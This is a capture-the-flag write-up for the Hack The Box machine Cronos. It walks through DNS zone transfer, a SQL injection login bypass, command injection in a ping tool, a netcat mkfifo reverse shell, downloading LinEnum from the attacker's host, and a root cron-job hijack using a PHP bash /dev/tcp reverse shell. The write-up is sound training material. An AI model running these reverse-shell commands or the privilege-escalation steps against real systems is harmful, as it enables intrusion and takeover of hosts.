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nihilist - 21 / 02 / 2020

Cronos Writeup

Introduction :

Cronos is a medium Linux box released back in march 2017.

Part 1 : Initial Enumeration

As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.

  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen]
  → nmap -F 10.10.10.13
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 16:00 GMT
  Nmap scan report for 10.10.10.13
  Host is up (0.11s latency).
  Not shown: 97 filtered ports
  PORT   STATE SERVICE
  22/tcp open  ssh
  53/tcp open  domain
  80/tcp open  http

  Nmap done: 1 IP address (1 host up) scanned in 3.35 seconds

  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen]
  → nmap -sCV -p22,53,80 10.10.10.13
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 16:01 GMT
  Nmap scan report for 10.10.10.13
  Host is up (0.10s latency).

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
  |   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
  |_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
  53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
  | dns-nsid:
  |_  bind.version: 9.10.3-P4-Ubuntu
  80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
  |_http-server-header: Apache/2.4.18 (Ubuntu)
  |_http-title: Apache2 Ubuntu Default Page: It works
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 16.20 seconds

  λ root [ 10.10.14.20/23 ] [nihilist/_HTB/TenTen]
  → echo '10.10.10.13 cronos.htb' >> /etc/hosts

Part 2 : Getting User Access

As our nmap scan picked up port 53 running a DNS service, we'll use the host command to list the hosts in the domain :

  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen]
  → host -l cronos.htb 10.10.10.13
  Using domain server:
  Name: 10.10.10.13
  Address: 10.10.10.13#53
  Aliases:

  cronos.htb name server ns1.cronos.htb.
  cronos.htb has address 10.10.10.13
  admin.cronos.htb has address 10.10.10.13
  ns1.cronos.htb has address 10.10.10.13
  www.cronos.htb has address 10.10.10.13

looks like we have 2 additional domain names to add to our /etc/hosts file :

  λ root [ 10.10.14.20/23 ] [nihilist/_HTB/TenTen]
  → echo '10.10.10.13 admin.cronos.htb www.cronos.htb' >> /etc/hosts

admin.cronos.htb looks interesting, let's see if we can have sql injection :

and we're in ! we have access to a badly written php script used to ping or traceroute, but we can get code execution as www-data by adding & <command>. So let's see if we can print out the user flag :

And that's it ! we have been able to print out the user flag.

Part 3 : Getting Root Access

In order to privesc, let's first get a reverse shell but to do so, we must first check if netcat is on the box :

now that we know that netcat is on the box we can use this one liner and get a reverse shell, catching the incoming connection with another netcat instance running locally.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 9002 >/tmp/f

we hit execute and we get a reverse shell :

  λ nihilist [ 10.10.14.20/23 ] [~]
  → nc -lvnp 9002
  listening on [any] 9002 ...
  connect to [10.10.14.20] from (UNKNOWN) [10.10.10.13] 36520
  /bin/sh: 0: can't access tty; job control turned off
  $ python -c 'import pty;pty.spawn("/bin/sh")'

Now that we have a TTY Shell, let's see if we can enumerate the machine with Linenum, but to do so we need to know if we can use wget / curl

  $ which wget
  which wget
  /usr/bin/wget
  $ which curl
  which curl
  /usr/bin/curl
  $ cd /tmp
  cd /tmp
  $ wget http://10.10.14.20:8080/LinEnum.sh && chmod +x LinEnum.sh
  wget http://10.10.14.20:8080/LinEnum.sh && chmod +x LinEnum.sh
  --2020-02-21 18:50:39--  http://10.10.14.20:8080/LinEnum.sh
  Connecting to 10.10.14.20:8080... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 46631 (46K) [text/x-sh]
  Saving to: 'LinEnum.sh'

  LinEnum.sh          100%[===================>]  45.54K   222KB/s    in 0.2s

  2020-02-21 18:50:40 (222 KB/s) - 'LinEnum.sh' saved [46631/46631]

  $./LinEnum.sh

We can, therefore we execute LinEnum.sh after adding the executing right with chmod and looking at it's output we see that crontab executes a /var/www/laravel/artisan every minute as root.

  $ ls -lash /var/www/laravel | grep artisan
ls -lash /var/www/laravel | grep artisan
4.0K -rwxr-xr-x  1 www-data www-data 1.7K Apr  9  2017 artisan

To privesc on the machine, we'll modify the artisan file (which is a php file) to contain a reverse shell, we'll use the same reverse shell named nihilist.php that we used when we did Popcorn

  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos]
→ locate nihilist.php
/home/nihilist/_HTB/Bastard/nihilist.php
/home/nihilist/_HTB/Networked/nihilist.php.gif
/home/nihilist/_HTB/Popcorn/nihilist.php
/home/nihilist/_HTB/Popcorn/nihilist.php.gif

λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos]
→ cp /home/nihilist/_HTB/Popcorn/nihilist.php .

λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos]
→ nano nihilist.php

  #!/usr/bin/env php
  <?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.20/1234 0>&1'");
?>

once we're done modifying it , we upload it , wait for cronjob to execute it and get a reverse shell this time as root

Terminal 1:

  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos]
  → python -m SimpleHTTPServer 7070
  Serving HTTP on 0.0.0.0 port 7070 ...

Terminal 2:

  $ wget http://10.10.14.20:7070/nihilist.php
--2020-02-21 19:05:59--  http://10.10.14.20:7070/nihilist.php
Connecting to 10.10.14.20:7070... connected.
HTTP request sent, awaiting response... 200 OK
Length: 98 [application/octet-stream]
Saving to: 'nihilist.php'

     0K                                                       100% 19.8M=0s

2020-02-21 19:05:59 (19.8 MB/s) - 'nihilist.php' saved [98/98]

$ cp nihilist.php artisan

Terminal 3:

  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos]
→ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.13] 40640
bash: cannot set terminal process group (1580): Inappropriate ioctl for device
bash: no job control in this shell
root@cronos:~# cat /root/root.txt
cat /root/root.txt
17XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to get a reverse shell as root, and we have been able to print out the contents of the root flag.

Conclusion

Here we can see the progress graph :